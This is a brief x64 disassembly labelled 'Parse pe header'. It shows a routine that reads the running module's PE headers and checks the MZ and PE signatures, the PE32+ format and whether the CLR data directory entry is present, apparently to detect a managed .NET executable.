Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400021e2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400021e2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400021e2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400021e2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400021e2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400021e4
xor al, al
add rsp, 0x28
ret